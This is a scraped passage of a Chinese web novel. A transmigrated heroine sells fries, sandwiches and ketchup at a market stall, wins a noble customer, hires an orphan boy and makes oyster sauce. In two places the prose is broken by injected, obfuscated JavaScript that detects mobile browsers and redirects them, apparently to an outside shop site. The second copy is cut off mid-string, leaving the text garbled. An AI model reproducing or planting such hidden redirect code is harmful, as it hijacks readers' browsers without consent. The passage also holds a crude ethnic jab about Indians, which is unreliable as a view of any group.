但平头老百姓嘛,又不是什么贵族富豪阶级的,花钱总要讲究个性价比。 他们盯着三明治盘算。 食材丰富多样,份量不小,口味好,25铜币贵是贵了点,却很划算,也就是买三份薯条的钱。 “我要一份三明治,薯条只要一份好了。”有人犹豫再三,决定少吃几份薯条,就当尝尝鲜。 “今天不吃薯条了,给我一个三明治,最大份的那种。”隔了半分钟,第二个客人递出25枚铜币。 拿到三明治的客人并未走远,他们继续守着摊子,吃一口,向周围其他食客描述自己的体会。 没办法,比薯条还新奇的吃法,大家都想了解清楚,即便当下没吃上,回去和伙伴邻居炫耀也够了。 看着食客一边大口吞咽,一边连连点头表示认可,然后口齿不清的夸赞鳕鱼排的美妙,渐渐的,其他顾客坐不住了,纷纷慷慨解囊。 尤兰达笑容轻松,三明治的生意姑且算打开了。 情况和她想象的差不太多,薯条一份接一份卖出去,油锅里噼里啪啦的动静根本没停过。 三明治稍差,卖出去七八份薯条才有一个人愿意尝鲜。 她扫一眼浅口陶盘,照这势头,30份三明治很有希望在摆摊结束前卖光。 “薯条夫人,两份薯条。” “一份薯条,我想单独买一份番茄酱可以吗?” “两份薯条,多点蜂蜜芥末酱吧。” 越来越多的客人表现出对番茄酱的偏好,尤兰达一一回应后,半开玩笑的说: “谢谢你们对番茄酱的喜欢,或许我不该研究三明治,把番茄酱做成小罐售卖更受欢迎。” 老顾客玛丽夫人面露惊喜:“那可太好了,天知道我家孩子有多喜欢你做的番茄酱。星期天我在家尝试过,没有你做的好吃。” 铁匠一脸坦诚地附和:“老实说,我和我夫人描述过番茄酱的味道,她怎么做都不太对。” 拿到薯条的年轻工匠学徒没有马上离开,急急补了一句:“薯条夫人,可千万别卖太贵啊。” 周围响起善意的哄笑。 大家反应热烈,尤兰达乐得见牙不见眼,小算盘拨得噼啪响。 番茄酱不难,一次熬一大锅,装进小陶罐里封好能放好些天,后续搭配方便面成批发售,那前景…… 不拘番茄酱,什么菌菇酱、酸菜酱,都值得拓展。 好好好,独立包装的番茄酱真的可以慢慢计划起来了。 29.第 29 章 本杰明慕名来到工匠街,按照信中描述,他顺利找出街巷中最拥挤的小吃摊。 三天,他不过是去一位子爵的领地参加狩猎,三天后再回皇城,整座城市像注入了一丝鲜活气。 三天前,这里还是那个他熟悉的,平静祥和乃至于无聊的城市。 然后呢? 大王子迎娶平民王妃的余波未散,王妃继母惨遭净身出户的消息疯传。 没多久,一种叫薯条蘸酱的食物在坊间流传,吸引了无数追求热闹爱新鲜的闲人。 本杰明想起约瓦尼那封信。 向来对吃食不甚在意的游侠骑士,竟用一整段篇幅,声情并茂地描述了一种叫“番茄酱”的东西。 “你若不信,大可亲自去尝。”他如此说。 于是,本杰明来了。 然后他站住了。 摊前蜂拥的食客无序且混乱,裹着布巾的摊主热情与食客搭话。 客人说了什么,她笑着应一句,手上动作不停,眼神证明她在认真听。 又一个客人凑上去,摊主抬头笑笑,说了句什么,客人也跟着笑起来。 本杰明看了一会儿,眉头皱得更紧。 交易就交易,为什么要聊天? 本杰明不懂,但他注意到,越来越多的人被这里“热闹”吸引,排队的人群越来越壮大。 噢——糟糕的平民区! 他讨厌拥挤,转身要走,走出去两步,又停住。 “你去。” 本杰明偏头看了一眼身后的随行骑士,示意他去排队。 骑士恭敬垂首,挤进人群。 本杰明绕过人群来到摊子后方,站在一棵老榆树下,抱着手臂静静地观察。 他看见骑士递出铜币,看见摊主动作麻利地往油锅里下了什么。 没一会儿,骑士捧着一包东西挤出人群,张望寻找片刻朝他走来。 “老爷,薯条。红的是番茄酱。” 本杰明接过来,低头审视一遍。 和他吃过的土豆确实不一样,但,也不过如此。 平民的食物能有什么特别,难道比孔雀肉更好吃? 本杰明不以为然,拈起一根薯条随意蘸了蘸酱汁,送进嘴里。 嚼了一下。 嚼了第二下。 本杰明的动作顿住,双眸微微睁大。 酸、甜、咸、说不清道不明的浓郁在舌尖炸开。 他拈起一根,又一根,等回过神来,手里的叶子已经空了。 本杰明盯着自己油亮的手指,沉默了几秒。 骑士久久听不到新的吩咐,低垂着头颅,脊背绷得笔直,越发不安。 老爷对食物十分挑剔,每一口进嘴的东西,都要通过他定下的莫名其妙的规矩。 油腻的不行,辛辣的不要,所有可能让他痔疮发作的,一概拒绝。 如果哪道食物不合他的心意,本杰明老爷甚至会大发雷霆。 “再买一份。” 简短的话音犹如天籁,骑士愣了好一会,猛地抬起头:“老爷,您……” 本杰明抬手打断:“不,买两份薯条,再买一份番茄酱。” 说着,他目光从油锅上挪开,落在旁边的浅口陶盘,一排排的漂亮三角形十分醒目。 “那是什么?”他问。 骑士回头睃巡一圈,直接上前与摊主询问,然后他折回来禀报:“老爷,摊主说,那是今天出的新品,叫三明治,25铜币一份。” 本杰明流露出一丝困惑。 三明治是什么? 才25铜币,真的好吃吗? “那就也买一份三明治吧。”他吩咐。 第一回来就当了回头客,薯条合不合老爷心意,熟悉他的骑士一目了然。 哪怕老爷没有给出任何一句赞美。 骑士领命离去,大步挤进人群,随着走动,一身锁子甲发出金属独有的闷响,原本拥挤的食客自觉让出空隙方便骑士通过。 待骑士离开,排队的食客们憋不住低声交流起来。 “瞧见了吗?有骑士来买薯条,他还买了三明治。” “见到了见到了,不知道是哪位贵族的骑士。” “天呐,你是说,贵族也爱吃三明治?” 骑士一趟来回,在食客中间引发了轩然大波。 阶级分明的时代,平民区与贵族直接的交集少得可怜,能接触到和贵族有关的,只有前来工坊采买的女仆、管家等。 而此时,就有一位贵族派遣骑士,前来购买他们常吃的薯条。 微弱的联系,让许多吃过薯条的顾客骄傲挺胸,与有荣焉。 瞧,贵族也爱我们平民的食物。 本杰明淡淡扫过吵闹惹人厌烦的群体,接住骑士送来的三明治,观察一会,谨慎小心的低头咬一口—— 不软不硬的面包、酥脆的鳕鱼排、焦香的煎蛋、爽嫩的蔬菜、酸甜的酱汁,所有感受汇集口腔于瞬间爆发,层次分明又恰到好处地融在一起。 本杰明愣在原地。 他去过许多贵族的领地,参加过无数场沙龙宴饮,从未吃过这样的东西。 本杰明什么都没说,飞快咬下第二口。 吃完,他慢吞吞招手,对骑士道:“买三份三明治,一份送去庄园,让厨娘照着做。” 话音落下,随行的几位骑士都呆了几秒。 老爷让厨娘……学做平民食物? - 尤兰达听着食客们交头接耳的议论,目光不由追着渐行渐远的一队人马飘远。 穿着盔甲骑着马的骑士,只有有领地的贵族养得起,这是所有人都知道的事。 难道…… 尤兰达扫视周围,除了食客比前几次摆摊多,没什么特别。 奇怪,怎么没人来看她笑话? 尤兰达伸着脖子找啊找,还是没看到哪里有富婆,心里有点小失落。 唉,白期待了。 她还指望富婆们帮她打广告拉新呢。 尤兰达只失落了一会,随即被突然爆发的订单淹没。 “来两份薯条,贵族同款!” “三明治,我要和刚才那位老爷一样的!” “先给我先给我,我有钱!” “别抢啊,我先来的,三明治本来就不多,你们讲点道理吧。” 有贵族探店平民区小吃摊的消息,在食客中间扩散,不差钱的主一个比一个积极,管它好不好吃,贵族老爷都买了,那必须尝尝。 他们也要吃贵族同款三明治。 对这一现象,尤兰达归咎于明星效应。 平民对贵族阶级有着无限的向往,贵族用过的、吃过的、穿过的,就是好的对的值得掏钱的。 甚至贵族之间流行什么病,都有富商和平民争相效仿,努力让自己咳出血或者染上某些传染病,好显得和贵族阶级沾边。 纯纯脑子有病。 尤兰达吐槽一会,心里的邪恶念头一个接一个。 安排几个群众演员,穿上像样的衣服,假扮贵族来当一回托,岂不是…… 尤兰达异想天开了一阵,一巴掌按压回去。 没别的,这里的阶级太分明了。 贵族就是贵族,平民就是平民,中间隔着一道看不见的墙。 什么颜色能穿,什么料子能用,哪样花纹是贵族专属,都有不成文的规矩。 但凡有平民冒充,或以贵族名义社交、获利,轻则鞭打重则绞杀,绝不留情。 贵族阶级团结且封闭,一致维护所属阶级利益。 一共三十份三明治,有勋爵老爷亲自带货,愣是在两小时内抢购一空。 尤兰达抽空瞄一眼半满的钱罐子,嘴角压都压不住,招待起顾客越发周到。 “薯条夫人,三明治还有吗?” “没了没了,明天赶早啊。” “啊?我才刚来……” 类似的对话,一连重复了七八遍。 最后一个客人遗憾离开,尤兰达看着剩下少量残渣的空陶盘,真切地意识到一件事。 她的小吃摊,应该是火了。 可不是她自恋,她观察过,今天踩点来的老顾客十有八九没排上号。 许多熟悉的面孔站在人群外围,眨巴大眼睛,无措地望着被扫荡一空的摊子,活像一群被抢了窝的呆企鹅。 如果给小吃摊的食客做个画像分析,她敢说和前几天大不同。 第一天摆摊几乎都是工匠街的居民,匠人、学徒、杂役、小康家庭的主妇等,从气质和举止细节不难分辨。 第二天,食客群体稍稍有了点变化,大多是看小吃摊生意好,随波逐流凑个热闹。 今天,尤兰达的顾客群体里不止有勋爵老爷,还有不少厨师、面包师,更有来自贫困区的小萝卜头,身上的补丁一块叠一块。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324978|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他们买了东西也不吃,仔细包好放进陶盒里,揣好陶盒撒腿就跑。 从他们身上,尤兰达看到了跑腿代购和外卖小哥的影子。 薯条的出现像吹进水晶球里的一股风,为这座十万人口的城市带来了一丝新鲜空气,越来越多的人循着气息找来。 尤兰达十分确定,快则明天后天,最迟本周末,薯条会随机刷新在皇城的各个街巷、餐馆、酒馆。 她对自己的手艺有信心,更对薯条有信心。 这么一来,除去方便面番茄酱,还要多考虑一下“商标”的事了。 黑森王国当然没什么注册商标的概念,各行业最多在招牌上刻画简笔线条,让不识字的人也能通过标识辨认出店铺卖什么。 尤兰达要的不是这个,在模仿者出来之前,她必须把品牌概念打出去。 就像提起薯条番茄酱,大家脑海里自动冒出M记K记,她要让皇城居民提一次薯条,就想起矮人巷的费尔南多。 尤兰达只踌躇满志了片刻,随后抓耳挠腮。 短视频时代她被迫学了不少有的没的,可设计商标什么的,她哪会啊。 愁着愁着,摊子收拾完。 一看天色,来的比前两天都晚,走的比前两天都早,她的小吃摊绝对火了。 尤兰达推着板车往外走,两边邻居一个个笑呵呵和她打招呼。 “薯条夫人,明天还摆这儿吗?” “夫人夫人,明天我帮你占位置吧!” “夫人,明天我带自家做的馅饼给你尝尝。” 尤兰达嘴上应和着,脑子里惦记愁人的商标。 路过木柴铺,她暂时放下心事,进去订三捆松木柴。 今天下班早,这会回去熬蚝油,天黑前刚好完成。 她数出铜币递给杂役,让他送去矮人巷,刚准备转身离开—— “你给我滚!还敢要钱?你算个什么东西!” 店铺后门忽然传来一阵推攘争执声,紧接着,一个穿着补丁衣裳的男孩被推了出来,眼眶通红,倔强地咬紧嘴唇。 大胡子老板骂骂咧咧跟出来,唾沫星子快喷到男孩脸上: “痴心妄想的小杂种,你看看整条街,谁家不是给木柴当工钱?就你特殊?” 喝骂声引来无数目光,大家瞥一眼又转移视线,显然以习为常。 男孩胸膛剧烈起伏着,声音又硬又哑:“是你违背了承诺!” 这一嗓子,嚎的尤兰达都不想走了,停在门边吃瓜。 “你答应用铜币代替木柴,我才为你干活的!” 店铺内外,好几个正在挑柴的人停下动作,齐刷刷看过来。 没人说话,但他们的目光像针一样扎在老板身上。 老板脸腾地涨红,从耳朵根一直红到脖子。 “你、你胡说什么。”他扬起手,作势要打人。 男孩吓得往后退了两步,却没跑,梗着脖子瞪着他,眼眶里的泪花硬是没掉下来。 老板的手扬在半空,打也不是,不打也不是。 店里有不少客人正看着呢。 “快滚,带上你的柴。”他提溜起两捆木柴丢在男孩脚边,径直回了后院。 男孩不服气,还要争辩争取,刚刚招待尤兰达的杂役连忙抱住他。 “他只想骗你干活,我说过让你去别家,你不信。”杂役把柴往男孩怀里一塞,推着他往外走,声音压低了些:“他为勋爵老爷做生意,别惹他了,快走吧。把柴带走。拿不到钱,有柴也很好。” 男孩抬手一抹,泪珠子哗哗往下淌。 梗着脖子硬撑的劲儿全散了,他抽噎着,肩膀一耸一耸,委屈又愤怒。 尤兰达站在几步之外,看清了他的脸。 大约翰,搬来矮人巷第一天找她卖柴的孩子。 尤兰达对他印象深刻。 她以为上门推销是常见销售手段,在皇城生活几天后发现,压根不是普遍现象,只是大约翰为了更多招揽顾客想到的法子。 街上那么多商铺,就他一个敢挨家挨户敲门揽生意。 当然不止这一点,还因为大约翰第一时间分析出北1店有了新住户,果断上门销售,这说明他平时走街串巷有关注到各家店铺状况。 他还顺带着为好朋友介绍生意。 当时不以为意,后来想想,这孩子的脑袋真好使。 尤兰达眼珠子滴溜溜转,快步追上去。 30.第 30 章 “嘿,约翰。” 小孩委屈死了,闷头疾走,尤兰达放心不下板车,高喊一声叫住他。 话音落下,小孩没什么反应,街上来来往往的行人先后回过头看她。 老的少的,扛柴的推车的,穿着围裙的拎着工具的,足有十几人。 街道两边,三四个摆摊的摊主也探出脑袋张望。 他们满脸迷茫,齐刷刷投来的目光里明晃晃写着:叫我? 尤兰达脚步慢了慢,随即扯出一个歉意的微笑,清了清嗓子,又补了一声: “大约翰!” 她快步跑上去,一把拍在那个还抽噎着的男孩肩头。 “原来不是叫我啊。”扛柴的中年男人嘟囔着离开。 “也不是叫我。”推车的老汉耸耸肩,把车轱辘重新推起来。 诡异的静止画面总算解除,大家该干嘛干嘛。 尤兰达哭笑不得。 约翰、杰克、玛丽、苏珊这类名字,在平民中重名率高到离谱。 好比“zi han”,学校门口嚎一嗓子,不管男的女的、大的小的,总有十几个同时回头。 并不是每个平民都拥有姓氏,很多人就一个“约翰”“杰克”,为方便区分,身边人常用年纪、职业、身份等缀在名字前。 “夫、夫人?”大约翰一抽一抽,舌头打了结似的。 尤兰达缓和神色,指了指他手里的木柴,“或许,你愿意把木柴卖给我?” 大约翰没想到尤兰达会说这话,傻愣愣忘记抽气。 尤兰达自顾自数出对应铜币,递过去:“和店里的价格一样,现在,帮我送去矮人巷,可以吗?” 大约翰呆呆地望着递到眼前的铜币,眼睫上还挂着泪珠子。 他猛地回过神来,用力点了点头,“卖的,我愿意卖柴。” 他一把抓过铜币揣进怀里,两捆柴扛上肩,顾不上脸上泪痕,抬脚往矮人巷去。 尤兰达推板车走在他一侧,试探着挥动锄头:“你在那家木柴店做杂役?” “不算杂役,”他抿了抿嘴,像是憋了很久,一股脑倒出来:“老板之前答应过我,帮他运柴、卖柴,给我结算铜币,我才去的。” “结果呢?”尤兰达明知故问。 大约翰吸了吸鼻子,还是好想哭,“我去领工钱,他说只给木柴,铜币没有了。” 他偏过头,飞快地拿袖子蹭了一下脸。 “要是我早知道他骗人,我肯定不干的。” 像木柴店、煤炭店,并不是每天都有活干,忙碌时招几个临时工或者大约翰这样的童工。 老板舍不得发真金白银,通常以物抵工钱。 如果事先商量过用铜币结算,事后出尔反尔,只能认栽。 从大约翰零碎的讲述中,尤兰达摸清了他的底细。 无父无母有一个妹妹,因为没能凑够“学费”,进不了行会拜不了师,目前四处打零工赚钱攒钱。 尤兰达想把人留下的念头越来越强。 离矮人巷还有半条街,尤兰达超绝不经意的打听:“假如,我是说假如啊,你能加入行会,安排你去当学徒,你想学什么?” 大约翰想都没想,直接摇头:“不,我不想进行会。” 尤兰达意外了一瞬,她以为当工匠是所有男孩的最优选。 大约翰垂着头,声音闷闷的,“我想赚铜币,我要照顾妹妹。” 闻言,尤兰达倒是能理解了。 工匠工资高,面包师、厨师工资也不低,但无论哪种手艺,学习途径都有限,进入行会是大家熟知的门路,等待行会安排进加入行会的店铺,再跟师傅学手艺。 当然也有运气好的,直接被老师傅看中,带在身边培养。 学徒期间,行会要抽成,店铺要收学费,到手工资只够混口饭,攒不下半个子。 只有熬成独当一面的匠人,才真正开始赚钱。 闲话间,板车推进院子。 大约翰诧异一会院中景象,小心绕过晾晒的菌菇和蜂窝煤,手脚麻利地把木柴扛进柴棚,码积木一样一根根摞好。 尤兰达静静看了一会,越看越满意。 临出门,她叫住大约翰。 “我的饭馆正缺一个学徒,你要试试吗?” 大约翰怎么也想不到,送一次木柴,就收到了boss直聘。 他久久没能反应过来,瞪着湿漉漉的眼珠子,神情呆滞。 尤兰达好笑的解释:“比行会规定的学徒工资要多一点,你知道的,不能多太多,会被行会找上门。包吃,包住。一天两顿,有时候三顿,具体看工作量。 不过需要先试工,我得确定你有当厨师的天份。” 大约翰嘴唇抿紧了,像是在憋什么。 尤兰达:“另外,我的饭馆不打算加入行会,你不需要教学费。” 大约翰猛地吸气,狠狠心动。 加入行会的店,规模大,规矩多,学徒杂役全是行会安排,轮不到外人插手。 不加入行会的店,规模小,招不起人,老板宁可让自家孩子打下手,或者找临时工凑合。 他一个没门路的,从来不敢想能被谁正式收留。 天降馅饼,砸得大约翰晕晕乎乎,脚底跟长了钉子似的,半天没挪动。 脑子里两个小人在打架。一个说:天上掉馅饼了,赶紧接住啊傻子! 另一个说:会不会有坑?这世上哪有这么好的事? 尤兰达也不催他,就靠在门框上,跟看戏似的看着他那张脸变来变去。 过了一会儿,大约翰憋出一句话:“我需要做些什么?” 尤兰达笑意加深,小孩不算傻,知道了解工作内容。 “洗菜,切菜,备菜,都是厨房里的活,”尤兰达掰着手指头数,“有时候帮忙搬搬货,跑跑腿。活儿不少,但累不死。” 大约翰点点头,不好意思的问:“那……包吃,是跟你们一起吃吗?” 尤兰达乐了:“怕我给你吃剩的?” 大约翰脸一红,连连摆手,磕巴解释:“不、我是听小约翰说,你家做的饭可香了。” 小约翰自从接下北1店的清粪活儿,每天晚上回到阁楼,总要念叨几句今天闻到了什么味,费尔南多夫人今晚做了什么饭,最后再来一句“真想尝尝费尔南多夫人做的饭”。 大约翰说他嘴馋,小约翰一本正经的回:“我发誓,哪怕都是屎,我也确定北1店的屎和别家不一样。” 大约翰笑得一晚上肚子抽疼,越发好奇费尔南多夫人到底做了什么样的食物。 尤兰达笑出了声,这理由她爱听。 “放心,试工三天,我们吃什么你吃什么,少不了你一口。” 大约翰深呼吸,像是下了很大决心,“夫人,我干。” 话刚出口,又像是想起什么似的,赶紧补了一句:“我现在就能干活!” 为了证明自己,大约翰拎出斧头,撸起袖子冲柴棚的木头下手。 不管怎么说,柴每天都要用,劈柴不会出错。 尤兰达看他积极表现的样,忍不住笑。 才夸他不傻,这就犯傻了,连工资都没问清楚,上赶着干活。 不过她也没主动提,反正三天试工期,能留下,到时候一起交待不迟。 “柴够用,别劈了,”尤兰达冲他招招手,“跟我去集市。” 通常情况是她下班路上顺手买,省得另外跑一趟,今天没有帮手,她不放心车上东西,只能先回家。 大约翰一听有事干,上了发条似的蹭地蹿到她跟前。 两人先去海螺巷露天市集,找到蚝郎订杂鱼和海带。 她话一出口,别说蚝郎,连大约翰也一起懵了。 “夫人,您是说,要买三十条海带,一桶小杂鱼?”蚝郎挠着脑袋重复。 “没错,是海带,我要新鲜的,如果收不到,你帮我从渔民家里收干海带也行,第一次只要三十条,品质不差的话,后续我都在你这里买。” 蚝郎听到有稳定生意,情不自禁露出笑,随即笑容变得勉强。 “不……夫人,我是说,我实在不知道该怎么算海带的钱。” 没人吃海带,自然也没人买卖海带,他一时间真不知道如何定价。 卖贵一点呢,海带真不值那个价,贵了卖不出去。 便宜点吧,没赚头,采海带需要时间和体力,有精力挖生蚝螯虾不比这强? 尤兰达总不能教别人怎么赚自己的钱,直截了当问:“这生意你做不做?” 蚝郎琢磨一会,咬牙说:“做。” 大不了闲的时候去捞,反正不麻烦。价格嘛,就赚个辛苦费和跑腿钱。 尤兰达爽快付他三十个铜币订金,顺手把剩下的十几条小杂鱼包圆了。 “你有什么忌口吗?” 大约翰懵懵懂懂,什么叫忌口? 尤兰达解释:“有的人吃某些东西会不舒服,比如豆子、水果、鱼虾……别人吃了没事,你吃了身上起红疹、犯困、肿胀疼痛什么的。” 大约翰转过弯来,下意识抱紧篮子,指甲紧扣进藤条缝隙。 胸口忽然涨涨的,麻麻的,像有什么东西堵在那儿。 “我、我没有忌口,我都能吃。”他蚊子哼哼似的小声回答。 尤兰达多看他一眼,这小孩怎么说着话又走神了。 “行,今晚咱们吃杂鱼汤,主食吃拌面?” 大约翰恍恍惚惚,费尔南多夫人这是……和他商量晚餐? 意识到这一点,他重重点头,怕夫人嫌他麻烦嫌弃他不机灵,急忙道:“夫人不必顾虑我,您做什么我都吃。” 尤兰达习惯性客气一下以示关照,听到回答,面上泛起淡笑。 不挑食好啊,省事省心。 她食欲一般食量也一般,唯独做饭的瘾大,心血来潮时,东南西北不拘什么地域,想做就做,最需要不挑食的食客。 拎着新鲜杂鱼,尤兰达去了一趟粮店,买下10斤细麦粉,50斤灰黄色的粗麦粉,50斤燕麦,以及50斤小米。 能在黑森王国找到小米,属实出乎她意料。虽然当地人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尤兰达画大饼:“50个只是初步需求,我得先看看成品,才能决定要不要多订一些不是吗?” 这很合理,老格伦接受了。 “你想要什么样的陶盅?” 尤兰达不废话,直接夺过柜台上的羊皮纸动手画。 老格伦凑近瞧了瞧,有点特别。 细长的圆柱体,头部外立面有一圈凹槽,柱体中心有着番茄图形装饰和硕大字母。 随着羽毛笔沙沙响,他看到了“Yolanda”几个歪歪扭扭的……花体字? “能做出来吗?”尤兰达摸着鼻尖,不好意思地问。 唉,字太丑了,怪没面子的。 “做这样的陶盅当然没问题,字母和图案……恐怕要跑一趟工匠街,晚两天才能做出来。” 工匠街许多金银铜铺子有大量为贵族服务的经验,生产的金银器讲究一个精美与精致,老格伦很清楚该联系谁能达成目标。 尤兰达挺忙的,巴不得所有事情推给老格伦接手。 “辛苦你了老格伦,只要确保字母不出错,有番茄图案做标识,其他的你们定。” 文盲率高达70%的时代,写太多字没什么用,弄个漂亮的花体搭配图案,看上去足够特别就够了。 尤兰达没有大包大揽的意思,她的狗爬字,拿出去也是丢人现眼,有专精的工匠帮忙再好不过。 老格伦干脆接下订单,“先支付300铜币好了,烧两个样出来我安排人送给你看看,定下来再烧其他的。” 尤兰达也干脆的同意了,约定四天后收样品。 最重要的事情商量完,小陶罐推上车带走,大点的陶缸坛子自有杂役送货上门,他们转而去了附近一家杂货店。 尤兰达目标明确,挑出一块方方正正的大木板当案板,专门用来擀面。 想到家里快没处下脚,她一口气买了五个五层的晾晒架,外加十五个大笸箩。 意外的是,尤兰达挑到了类似笼屉作用的平替,一个带孔的浅铜盘,当地人叫蒸格,一般架在煮粥的锅上,借水蒸气软化面包。更平价一点的有芦苇编制的锅、盘、碗,作用和蒸格差不多。 尤兰达两种都买了几个,另外挑了几套餐具。 不知道别的厨师什么样,反正她自己是无法抗拒逛厨具店的,有用的买,好看的买,万一能用上的也买。 即便从尼尔森家带来不少东西,看上去像模像样,但时代的局限性在那里,新家的厨房到底有点简陋,尤兰达心里盘算一遍,索性一起采购补足。 大约翰一声不吭地跟在后面,东西一样样往板车上搬,搬完了乖乖站一边等着。 尤兰达忙完看着满当当的板车,满意点头。 这一波采购,除去她挑拣商品掏钱付钱,杂事一应由大约翰接手。 虽然是男孩子,但眼里有活,做事细致麻利,十分难得。 哪怕没有烹饪的天份,留着当个助理、切菜工也很不错。 31.第 31 章 满载而归,西芙拉和菲奥娜仍旧不见踪影,大约是玩疯了。 好在两人没忘记采购,厨房流理桌上放着四口坛子,装着果醋和果汁。 尤兰达抱走坛子放一边,撸起袖子准备熬蚝油。 大约翰十分自觉,主动搬卸车上食材杂物,各自归类。 手里没事做了,他拘谨地凑过来问:“夫人,我需要做些什么。” 尤兰达忙着剁生蚝呢,抬眼往院中一瞥,安排道: “看到院子里的菌菇了吗?黑色和白色长条装进笸箩,塞去晾晒架,这两种要挪到阳光下晒。其他菌菇装进笸箩后,全部挪去地窖阴干。 做完这些,去柴棚把棚下阴干的黑球搬去棚子顶上面晒,全部忙完了我再安排别的。” 大约翰站在院中,分辨一会哪些菌菇要送去地窖,哪些要放在阳光下,才忙起来。 尤兰达忽然从厨房探出头。 “对了,柴棚里有四个粗木段,湿漉漉的,还长了黑黑耳朵的,那几块木头你别动。” 菌菇喜阴,她特意用秸秆遮光,和留着发芽的豆子们一样,早中晚各浇一次水,好让黑木耳长快点,万一被不识货的大约翰当木柴劈了多亏啊。 大约翰应声,扭头钻去木柴棚找到四个粗木段,记住它们的样子开始收拾菌菇。 院子里的菌菇看着多,实际更多,等他去了地窖和前面的铺子,也太多了,哪哪都是。 大约翰震惊一会,埋头苦干。 他手脚麻利,干完一圈回来,院子已经清爽多了,又拎起篮子爬上爬下运蜂窝煤。 一块块黑煤球经手,煤炭的味根本遮不住,仔细瞅瞅,里面似乎掺了草屑。 运着运着,大约翰心里的疑惑越来越多,最后一趟运完,憋不住好奇追问: “夫人,黑球是做什么用的?” 修道院的生活比不上贵族,却比绝大多数平民好,也因此,大约翰被修道院收留的几年里,通过到处打杂帮忙,认识了很多在平民家中见不到的稀奇东西。 但他努力回想,无论农奴、平民、修道院还是商人家庭,他所接触的环境里,他从没出现过类似黑球的东西。 “和木柴一样,可以烧火取暖。叫蜂窝煤、黑煤球都行,反正是煤炭做的。 我喜欢用它做饭,火力好控制。”尤兰达耐心解答。 大约翰想弄清楚为什么要把煤炭搓成这样,上面戳很多孔洞又是为了什么,以及为什么会有草屑等。 然而话到嘴边,他又咽了回去。 知道用处足够了,再多问有点打探配方的嫌疑,他不希望夫人因此对他生出误会。 仅试工几个小时,大约翰已然下定决心留在北1店,这里让他觉得舒心。 既然想长久为夫人做事,他必须谨慎点。 “来,帮我生火。”尤兰达朝他招手。 大约翰咧嘴一笑,蹭地蹿过去:“好的夫人。” 剁碎的生蚝连肉带汁“哗啦”倒进大铁锅,加一盆凉白开和一勺盐,加速出汁。 灰白的蚝汁滚开,便可用笊篱捞出收缩熟透的蚝肉,剩下的汤汁继续熬煮。 说实话,锅里的蚝汁毫无卖相可言,灰白灰白的,能毒死一整个皇城居民的样子。 大约翰想瞧又不敢瞧太久,想不通夫人煮这一锅生蚝做什么。 “改用中火,约翰。”她不紧不慢地搅动勺子。 大约翰接到命令,抽出两根木柴,火势瞬间矮了下去,温驯地舔着锅底。 锅里汤汁咕嘟冒泡时,尤兰达眼睛不眨地加了一大勺麦芽糖,一大勺盐,看得大约翰心惊不已。 就算在修道院,有贵客暂住,修士们也不敢如此挥霍麦芽糖和盐。 大约翰暗暗咋舌之际,神奇的事情发生了,灰白的蚝汁颜色一点一点变深,从浅灰到棕褐,渐渐有了记忆中蚝油的影子。 尤兰达眯了眯眼,勺子沾了点棕色蚝酱送进嘴,浓浓生蚝鲜味的鲜甜汁水充斥口腔。 不错不错,连味道也很像。 主要步骤完成,剩下是保持火力熬煮,至少三小时,熬到汤汁只剩三分之一,浓稠挂勺才算完。 “约翰,”她让开灶台前的位置,“你来看着锅。勺子不能停,一直搅,不然会焦底。” 大约翰一听能上手,眼睛都亮了,挺起胸膛,郑重其事地伸出手—— “等等!”一声高亢的尖锐爆鸣响彻厨房。 黑乎乎、干巴巴的手伸来,指甲缝里嵌着不知道什么时候塞进去的泥,尤兰达头皮发麻,瞳孔地震,急忙阻止了他。 不止大约翰,西芙拉、菲奥娜以及所有土著,好像都很少注重饮食卫生。 他们甚至不如印度人,好歹知道拉屎吃饭要分左右手。 尤兰达的表情前所未有地严肃,几乎是耳提面命般强调: “别的店铺我不清楚,我们做餐饮的双手必须保持洁净,接触食材和餐具之前,务必用草木灰水搓一遍手,最好连指甲缝一起洗干净。能做到吗?” 大约翰的脸腾地红了,手指不自觉蜷缩,恨不得找个地缝钻进去。 “我明白了,夫人。”他颤着声回答。 尤兰达见他无地自容的样子,缓和语气: “我们的双手每天要接触许多脏东西,你摸过煤球、木柴,手上可能沾有煤炭粉尘土,这些东西不洗干净,通过食物进肚子,不管是客人的肚子还是自己的肚子,都会引起疾病。 比如肚子疼、拉肚子、呕吐等等,我们要尽可能避免这类情况发生。 不止做菜的时候要注意卫生,平时饭前饭后,条件允许的前提下也要注重一下。 总之,勤洗手是不会错的。为了食客的健康,也为我们自己的健康。” 大约翰脑子轰的一下炸开,醍醐灌顶一般,突然明白了许多。 他想起来了,修道院厨房的修士会用布巾和水擦手,他见过很多次。 大约翰不敢多问也不敢多看,原来他们之所以那么做,是为了避免疾病。 他重重点头,表示自己会照做,噔噔噔跑去井边打水,认认真真把双手搓了一遍又一遍。 夫人愿意教他技巧,从怎么做到为什么这么做,以及后果和注意事项,大约翰十分珍视,一字一句奉如圭臬。 洗干净双手的大约翰成功接管勺子,守在灶台边,眼睛紧紧盯锅里咕嘟冒泡的蚝油,手里木勺不敢停。 尤兰达转身去了橱柜那边,装模作样掀开面袋,又拉开抽屉扒拉几下。 粗麦粉、细麦粉、雪白的高筋面粉,三样混合倒进大陶盆里,打几颗鸡蛋、撒适量的精盐,兑温水揉开。 面团在掌心翻转,压下去,折叠,再压下去。手腕发力,推出去,收回来,推出去,收回来。 反复十几下,动作不急不躁,透着一股子利落,淡黄面团一个个揉成形,盖上湿布搁在一旁醒着。 大约翰一边搅动勺子,一边忍不住拿眼睛瞟。 